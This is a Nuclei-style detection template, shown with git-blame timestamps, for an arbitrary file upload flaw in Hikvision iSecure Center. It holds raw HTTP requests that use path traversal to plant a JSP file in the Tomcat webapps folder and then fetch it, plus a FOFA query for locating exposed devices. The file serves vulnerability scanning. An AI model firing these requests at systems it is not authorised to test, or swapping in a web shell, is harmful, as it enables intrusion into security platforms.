2023-11-07 05:25:15 +00:00
|
|
|
id: hikvision-js-files-upload
|
2023-11-06 07:28:12 +00:00
|
|
|
|
|
|
|
info:
|
2023-11-07 05:25:15 +00:00
|
|
|
name: Hikvision iSecure Center - File Upload
|
2023-11-06 07:28:12 +00:00
|
|
|
author: Xc1Ym
|
|
|
|
severity: critical
|
2023-11-07 05:25:15 +00:00
|
|
|
description: |
|
|
|
|
THikvision iSecure Center /center/api/files;.js has an arbitrary file upload vulnerability
|
2023-11-06 07:28:12 +00:00
|
|
|
reference:
|
|
|
|
- https://zhuanlan.zhihu.com/p/639514473
|
|
|
|
- https://mp.weixin.qq.com/s/DR9xbwnrpg6YYSTw5pIAhw
|
2023-11-07 05:25:15 +00:00
|
|
|
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/hikvision-files-upload.yaml
|
2023-11-06 07:28:12 +00:00
|
|
|
metadata:
|
2023-11-07 05:57:52 +00:00
|
|
|
verified: true
|
2023-11-07 05:25:15 +00:00
|
|
|
max-request: 2
|
2023-11-06 07:28:12 +00:00
|
|
|
fofa-query: icon_hash="-808437027",app="HIKVISION-综合安防管理平台",title="综合安防管理平台"
|
2023-11-07 05:25:15 +00:00
|
|
|
tags: fileupload,iot,hikvision,intrusive
|
2023-11-06 07:28:12 +00:00
|
|
|
variables:
|
2023-11-07 05:25:15 +00:00
|
|
|
filename: '{{rand_base(6)}}'
|
|
|
|
payload: '{{rand_base(6)}}'
|
2023-11-07 05:47:41 +00:00
|
|
|
print: '<%out.print("{{payload}}");%>'
|
2023-11-06 07:28:12 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /center/api/files;.js HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
|
|
|
|
|
|
|
|
------WebKitFormBoundarygcflwtei
|
2023-11-07 05:25:15 +00:00
|
|
|
Content-Disposition: form-data; name="upload";filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{{filename}}.jsp"
|
2023-11-06 07:28:12 +00:00
|
|
|
Content-Type:image/jpeg
|
|
|
|
|
2023-11-07 05:47:41 +00:00
|
|
|
{{print}}
|
2023-11-06 07:28:12 +00:00
|
|
|
------WebKitFormBoundarygcflwtei--
|
|
|
|
- |
|
2023-11-07 05:25:15 +00:00
|
|
|
GET /clusterMgr/{{filename}}.jsp;.js HTTP/1.1
|
2023-11-06 07:28:12 +00:00
|
|
|
Host: {{Hostname}}
|
2023-11-07 05:25:15 +00:00
|
|
|
|
2023-11-06 07:28:12 +00:00
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2023-11-07 05:47:41 +00:00
|
|
|
- 'status_code_2 == 200'
|
|
|
|
- 'contains(body_2, "{{payload}}")'
|
|
|
|
condition: and
|
2023-11-07 07:20:43 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100b950d772245477a3b9ca9e272b20a63f38c6dc64378b6fa9dace29426cca5450022007f3af02a3422204244432721fbbdd6997a13cea83e2aac2259e960c7aefeb14:922c64590222798bb761d5b6d8e72950
|